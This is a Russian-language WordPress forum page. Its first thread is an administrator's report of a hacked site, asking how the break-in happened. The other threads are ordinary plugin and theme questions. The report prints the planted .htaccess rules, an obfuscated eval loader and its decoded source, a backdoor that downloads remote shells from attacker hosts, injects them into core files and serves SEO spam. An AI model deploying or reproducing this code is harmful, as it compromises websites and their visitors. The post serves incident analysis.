Обсуждения

Уязвимость в WP 5.8.3

Доброго дня, товарищи. 

Утром ошарашил клиент – отхлебнула админка, попросил посмотреть. 
Собственно, заглянул – и правда. Не грузятся стили, разделы не работают. 
Полез в логи – а их нет (спасибо тебе, Бегет, за отключенные по дефолту логи), так что пришлось разбираться ручками. 

Собственно, 10.01 примерно в 12.32 по МСК были модифицированы файлы index.php, wp-admin/edit.php, wp-admin/index.php, и ещё с десяток других. 
К тому же в каждую директорию был добавлен .htaccess следующего содержания: 

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|load.php|xmlrpcs.php|container.php|entity.php|header.php|style.php|constant.php|access.php|locale.php|uninstall.php|themes.php|wp-login.php|scindex.php|admin.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

В зараженные PHP было всунуто следующее: 

<?php

$x = "'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'";$a = base64_decode($x);$b = gzinflate($a);eval($b);
?>

В деобфусцированном виде: 

<?php
error_reporting(0);@set_time_limit(3600);@ignore_user_abort(1);$xmlname = 'mapss.xml';$dt = 0;$sitemap_file = 'sitemap';$mapnum = 2000;if(isset($_GET['dt'])){	$dt = $_GET['dt'];}$site = @$_GET['smsite'];$jdir = '';$http_web = 'http';if(is_https()){ $http = 'https';}else{ $http = 'http';}$smuri_tmp = smrequest_uri();$uri_script = "";if(strstr($smuri_tmp, ".php") && !$site){	$uri_arr = explode(".php", $smuri_tmp);	$uri_script = $uri_arr[0].".php?";	$smuri_tmp = $uri_arr[1];	$smuri_tmp = str_replace("?", "/", $smuri_tmp);}if($smuri_tmp==''){    $smuri_tmp='/';}$s = 'b'.'ase6'.'4_e'.'ncode';$smuri = $s($smuri_tmp);function smrequest_uri(){    if (isset($_SERVER['REQUEST_URI'])){        $smuri = $_SERVER['REQUEST_URI'];    }else{        if(isset($_SERVER['argv'])){            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];        }else{            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];        }    }    return $smuri;}@$action = $_GET['ac']?$_GET['ac']:"";if($action != "" && $action == "write"){	write();	echo "write done!";	exit();}$temp = @$_GET['smtemp'];$id = @$_GET['smid'];$page = @$_GET['smpage'];$site = str_replace('/','',$site);$host = $_SERVER['HTTP_HOST'];$clock = '';
$tempweb = @$_GET['tempweb'];$tempweb = str_replace('/','',$tempweb);
if(preg_match('@pingsitemap.xml@i',$smuri_tmp)){	@header("Content-type: text/css; charset=utf-8");	if($uri_script == ""){$uri_script="/";}	$sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap.xml";	$contents = get($sitemap);	if(strpos($contents, "Sitemap Notification Received")){		echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : OK!<br>";	}else{		echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : ERROR!<br>";	}	$mnum = mt_rand(30, 80);	for($i = 0; $i < $mnum; $i++){		$sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap$i.xml";		$contents = get($sitemap);		if(strpos($contents, "Sitemap Notification Received")){			echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : OK!<br>";		}else{			echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : ERROR!<br>";		}	}	exit;}

$goweb = 'seo55.herosolid.online';$password = md5(md5(@$_GET['pd']));if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {    $add_content = @$_GET['mapname'];    $action = @$_GET['action'];    $domain = @$_GET['domain'];    if($domain){        $host = $domain;    }else{        $host = $_SERVER['HTTP_HOST'];    }    //$host = $_SERVER['HTTP_HOST'];    $path = dirname(__FILE__);
    $file_path = $path.'/robots.txt';    if(!$action){        $action = 'put';    }    if($action == 'put'){        $data = 'User-agent: *Allow: /';		$uri_script = trim($uri_script);		if( $uri_script!= "" && $uri_script!="/index.php?"){			$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml";		}else{			$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml";		}		$num = mt_rand(5, 10);		for($i = 0; $i<$num; $i++){			if(trim($uri_script) != "" && $uri_script!="/index.php?"){				$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml";			}else{				$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml";			}		}		@chmod("robots.txt", 0755);		file_put_contents("robots.txt", $data);		echo "robots write done!!";    }    if($action == 'del'){        if(file_exists($file_path)){            $data = smoutdo($file_path);        }else{            $data = '';        }        if(strstr($data,'/'.$add_content)){            if(is_https()){                $data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;            }else{                $data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;            }            if(file_put_contents($file_path,$data_new)) {                echo '<br>ok<br>';            }else{                echo '<br>file write false!<br>';            }        }else{            echo '<br>sitemap does not exist!<br>';        }    }
    exit;}function is_https() {    if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {        return true;    } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {        return true;    } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {        return true;    }    return false;}
if($tempweb){    $site = $tempweb[0].$tempweb[1].$tempweb[2];    $temp = substr($tempweb,3);}$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];$lang = $s($lang);$os = $_SERVER['HTTP_USER_AGENT'];$os = $s($os);if(isset($_SERVER['HTTP_REFERER'])){    $urlshang = $_SERVER['HTTP_REFERER'];    $urlshang = $s($urlshang);}else{    $urlshang = '';}
$clock = $_SERVER['REMOTE_ADDR'];$http_clock = $_SERVER['REMOTE_ADDR'];
if(stristr($clock,',')){    $clock_tmp = explode(",",$clock);    $clock = $clock_tmp[0];}
if(!isset($sitemap_file) || @$sitemap_file==''){    $sitemap_file = 'sitemap';}if(!isset($mapnum) || @$mapnum==''){    $sitemap_file = 2000;}

if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){    @header("Content-type: text/xml");    if(isset($uriarr[1])){        $id = str_replace('_','',$uriarr[1]);    }else{        $id = 100;    }    $ivmapid = 0;    sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);    exit();}function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){    $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;    return trim(smoutdo($web));}function sitemap_out($url,$host,$uri_script){    if(is_https()){        $http = 'https';    }else{        $http = 'http';    }    $date_str =  date("Y-m-d\TH:i:sP",time());    $sitemap_header = '<?xml version="1.0" encoding="UTF-8"?><urlset      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';    $sitemap_header .= '  <url>    <loc>'.$http.'://' . $host . "/" . '</loc>    <lastmod>' . $date_str . '</lastmod>    <changefreq>daily</changefreq>    <priority>0.1</priority>  </url>';    $url_arr = explode("\r\n",$url);    $map_str = $sitemap_header;    foreach($url_arr as $value){        $map_str .= '  <url>    <loc>'.$http.'://' . $host . "/" .$value .'</loc>    <lastmod>' . $date_str . '</lastmod>    <changefreq>daily</changefreq>    <priority>0.1</priority>  </url>';    }	if($uri_script != ""){		$map_str = str_replace($host."/",$host.$uri_script, $map_str);	}    echo $map_str."</urlset>";}
function get($url){ 	$contents = @file_get_contents($url);	if (!$contents) {		$ch = curl_init();		curl_setopt($ch, CURLOPT_URL, $url);		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);		$contents = curl_exec($ch);		curl_close($ch);	} 	return $contents;}function write(){	$write1 = get("http://hello.firstguide.xyz/write1.txt");	$write2 = get("http://hello.firstguide.xyz/write2.txt");	$shell_postfs = get("http://hello.firstguide.xyz/mm1.txt");	$shell_load = get("http://hello.firstguide.xyz/mm2.txt");	$new_ht_content = get("http://hello.firstguide.xyz/shl/htaccess.txt");	$ht_content = file_get_contents(".htaccess");	$index_content = file_get_contents("index.php");	$loader_php = "wp-includes/template-loader.php";	$load_php = "wp-includes/load.php";	$font_editor_php = "wp-includes/SimplePie/index.php";	if(!is_dir("css")){		mkdir("css", 0755, true);	}	@chmod("css/.htaccess", 0755);	file_put_contents("css/.htaccess", $new_ht_content);	file_put_contents("css/load.php", $shell_load);	if(is_dir("wp-includes/SimplePie")){		file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);		file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);		file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);		file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);		$loader_content = file_get_contents($loader_php);		$load_content = file_get_contents($load_php);		@chmod($loader_php, 0755);@chmod($load_php, 0755);		file_put_contents($loader_php, $write1.$loader_content);		file_put_contents($load_php, $load_content.$write2);		@chmod($loader_php, 0644);@chmod($load_php, 0644);		file_put_contents($font_editor_php, $shell_postfs);	}}
if(stristr($smuri_tmp,'.css')){    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;    $html_content = smoutdo($web);    $html_content = trim($html_content);    if(!strstr($html_content,'nobotuseragent')){        if(strstr($html_content,'okhtmlgetcontent')){            @header("Content-type: text/css; charset=utf-8");            $html_content = str_replace("okhtmlgetcontent",'',$html_content);            echo $html_content;            exit();        }else if(strstr($html_content,'getcontent500page')){            @header('HTTP/1.1 500 Internal Server Error');            exit();        }else if(strstr($html_content,'getcontent404page')){            @header('HTTP/1.1 404 Not Found');            exit();        }    }}else if($site){    if($id){        @header("Content-type: text/html; charset=utf-8");        $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;        $html_content = smoutdo($web);        $html_content = trim($html_content);        if(!strstr($html_content,'nobotuseragent')){            if(strstr($html_content,'okhtmlgetcontent')){                $html_content = str_replace("okhtmlgetcontent",'',$html_content);                echo $html_content;                exit();            }else if(strstr($html_content,'getcontent500page')){                @header('HTTP/1.1 500 Internal Server Error');                exit();            }else if(strstr($html_content,'getcontent404page')){                @header('HTTP/1.1 404 Not Found');                exit();            }        }    }}else{    $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;    $html_content = smoutdo($web);    $html_content = trim($html_content);	if($uri_script != ""){		$html_content = str_replace($host."/",$host.$uri_script, $html_content);	}    if(!strstr($html_content,'nobotuseragent')){        @header("Content-type: text/html; charset=utf-8");        if(strstr($html_content,'okhtmlgetcontent')){            $html_content = str_replace("okhtmlgetcontent",'',$html_content);            echo $html_content;            exit();        }else if(strstr($html_content,'getcontent500page')){            @header('HTTP/1.1 500 Internal Server Error');            exit();        }else if(strstr($html_content,'getcontent404page')){            @header('HTTP/1.1 404 Not Found');            exit();        }else if(strstr($html_content,'getcontent301page')){            @header('HTTP/1.1 301 Moved Permanently');            $html_content = str_replace("getcontent301page",'',$html_content);            header('Location: '.$html_content);            exit();        }
    }}
function smisbot() {    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);    if ($agent != "") {        $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');        foreach ($googleBot as $val) {            $str = strtolower($val);            if (strpos($agent, $str)) {                return true;            }        }    }else{        return false;    }}function smotherbot() {    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);    if ($agent != "") {        $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');        foreach ($spiderSite as $val) {            $str = strtolower($val);            if (strpos($agent, $str)) {                return true;            }        }    }else{        return false;    }}function smoutdo($url){    $file_contents = @file_get_contents($url);    if (!$file_contents) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);        $file_contents = curl_exec($ch);        curl_close($ch);    }    return $file_contents;}function listDir($dir){    $filearr = array();    if(is_dir($dir)){        if ($dh = opendir($dir)){            while (($file = readdir($dh)) !== false){                if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){                    $filearr[] = $file;                }            }            closedir($dh);        }    }    return $filearr;}
?>
Собственно, из кода всё понятно - сия шлоедрянь докачивает в себя ещё отдельные куски кода, которые потом и переписывают файлы в CMS, так же стучится в поисковики и создает кучу sitemap. 

Вопрос не к шеллу, а к самому факту взлома. 
WP стоит абсолютно свежий (скачан с офсайта 9 числа. последний релиз), ибо на него клиент пожелал переехать с джумлы. 
Мб у кого уже такое встречалось, и сохранились логи? Известно, как эта гадость может попасть на сайт, что бы прикрыть дыру? 

Плагин OptiPic – оптимизация изображений и конвертация в WebP

Плагин OptiPic для WordPress — простое решение проблемы “Используйте современные форматы изображений” согласно рекомендациям Google Pagespeed Insights.Простое подключение к WordPress за 5 минутВидео инструкция за 2 минутыБесплатная техподдержка + помощь с установкойЧто делает CDN OptiPic при попытке запросить у него изображение:Отдает Webp-версию изображения, если браузер поддерживает WebP.Отдает сжатую (оптимизированную) версию без Webp, если браузер не поддерживает WebP.Кеширует и ускоряет загрузку снимая нагрузку с вашего хостинга.Защищает ваши изображения, сохраняя авторство через EXIF и IPTC теги.Конвертация в Webp и сжатие изображений происходит в фоновом режиме и никак не замедляет отдачу изображений.Если оптимизированная версия еще не готова на момент запроса изображения – отдается исходная версия без какой-либо обработки. Что дает оптимизация изображений на сайте:Ускоряет сайтУлучшает SEOУвеличивает конверсиюУлучшает Google Pagespeed Insights Текущая версия плагина и тарифы доступны на https://optipic.io/ru/webp/wordpress/

WCFM подключить RBSPayment

Пожалуйста подскажите как подключить платёжную систему RBSPayment к WCFM

Помогите вставить shortcode на страницу “спасибо за заказ” Woocommerce

Здравствуйте, хочу делать доппродажи путём вставки текста и категории товаров на странице “спасибо”. Нашёл в интернете код для вставки дополнительного текста на странице спасибо:


add_action( 'woocommerce_before_thankyou', 'truemisha_before_thankyou', 25 );
 
function truemisha_before_thankyou( $order_id ) {
	echo '<h2>20% на следующую покупку!</h2>';
	echo '<p>Мы благодарим вас за покупку и поэтому дарим вам промокод "<strong>PROMO20</strong>" на получение 20% скидки на вашу следующий заказ!</p>';
}

Он работает, а вот добавить ниже текста шорткод категории товаров не получается.

Вкладка перестаёт реагировать при добавлении дочерней вкладки

Есть меню. В нём вкладка Contact с аттрибутом
href=”http://acme/contact/”. При нажатии переходит на страницу
page-contact.php. Однако, при добавлении в меню дочерней для Contact
подстраницы скажем Contact1 аттрибут href для Contact остаётся
неизменным, однако, при нажатии на вкладку Contact уже ничего не
происходит. Что делать ?

После импорта через AIl Import товаров нет

https://prnt.sc/22scredитог импортасам импорт https://prnt.sc/22shfjvЕсть 2 языка – первый основной импортируется, а после него ничего не отображается. А после 2-го языка появляются товары без уникального артикула – пустой товар. Плагин по переводам Multiligual.

Вопрос по теме wordpress

Добрый день !

Вопрос знатокам от новичка как поменять тему в wordpress?
Скачиваю новую тему – активирую,
но отображается на главной странице дефолтная страница – т.е.
все записи дефолтной страницы.
Как сделать, чтобы отображалась новая тема – со всеми картинками и записями? 
Перерыл интернет – но так и не понял.
Подскажите ресурс или видео – где это можно понять.

Отправка атрибутов продукта через Ninja Forms wordpress?

У меня есть сайт на wordpress по продажи продукции. На странице товара присутствует кнопка “Задать вопрос”, через которую открывается всплывающая форма созданная на основе плагина “Ninja forms”. Там есть поля для ввода, при их заполнение приходят письмо на почту. Но заказчик хочет, чтобы приходили так же атрибуты товара (размер, материал и т.д), через который пользователь задает вопрос. Атрибуты отображаются на странице товара в виде технического описания продукта.P.sЯ использую скрытые поля в данной форме, чтобы передать данные страницы, от куда был задан вопрос.(url) Но я не могу передать в эти поля атрибуты, может это можно как-то сделать? например для вывода атрибутов для конкретного продукта на карточке товара, я использую такой код: 

<?php

global $product;
$product->get_attribute('Condition');
?>
Может есть возможность делать это как-то в скрытом поле?Как это сделать?

Шорткод для вывода формы

Помогите сделать пожалуйста 
1. Создать шорткод или Гутенберг-блок для вывода формы ввода данных о клиенте, поля: Имя, Email, Описание. Форма доступна для всех пользователей. Форма отправляется через AJAX без перезагрузки страницы. По результату выводится сообщение – успех или ошибка.
2. Создать шорткод или Гутенберг-блок для вывода таблицы с данными о клиентах, по 3 записи на странице, поля: Имя, Email. Переключение страниц по AJAX без перезагрузки страницы. Таблица доступна только для админов. Не должно быть никакого способа получить данные из таблицы для не-админов.

Вопрос по кнопке out of stock

Доброго времени суток!Подскажите пожалуйста я изменил текст кнопки out of stock на «Аналоги» и сделал ее ссылкой на другую страницу где должны отображаться аналоги данного товара по меткам. Как мне сделать правильно перенаправление и страницу с метками этого товара?

Проблема с сайтом

Помогите, развернул сайт на убунту, установил вордпресс на апачи в итоге при заходе с любой другой сети кроме локальной сайт ломается, помогите пожалуйста.

Сбор данных

Добрый день! Необходимо на сайте сделать форму для сбора данных, чтобы при заполнении данных было невозможно повторно отправить тот-же url сайта и email.  Пробовала на Contact Form7. https://stepfor.top/duplicate_cf7/
Но,  этот вариант не сработал.
Может есть плагины другие для решения этой задачи или др варианты с Contact Form7?

Проблемы с поиском в WP

Пожалуйста, подскажите. Как вывести в поиске информацию с метки (тега). Сейчас он показывает только статьи. Но мне хотелось бы, чтобы сверху них появлялась информация с метки. Как на втором рисунке

Страница с сортируемым контентом

Друзья, здравствуйте. Помогите каким образом я мог бы реализовать такую задачу.
Мне нужно создать страницу, на которой надо отобразить информацию о книгах, а при нажатии на запись она бы открывалась во всплывающем окне с деталями. 
Также мне необходимо на основной странице сделать сортировку отображения этих книг по категориям и году издания.
Подскажите, пожалуйста, есть ли какой плагин, который позволил бы мне не связываться с записями, так как все записи заняты новостями

Страница с заказами Woocommerce

Добрый день! подскажите как поступить. Есть магазин с товарами и бронирование комнат через woocommerce. Подскажите как вывести на отдельной странице список заказов только товаров категории бронирования?

На новом холсте появляется еще один heaDER

Появилась проблема создаю новый header в ELEMENTOR на новом холсте все было хорошо, потом после сохраняю и сверху выскакивает основноем меню подскажите что делать

Wocommerce.Как исправить размытые изображения woocommerce и настроить тумбы для товаров?

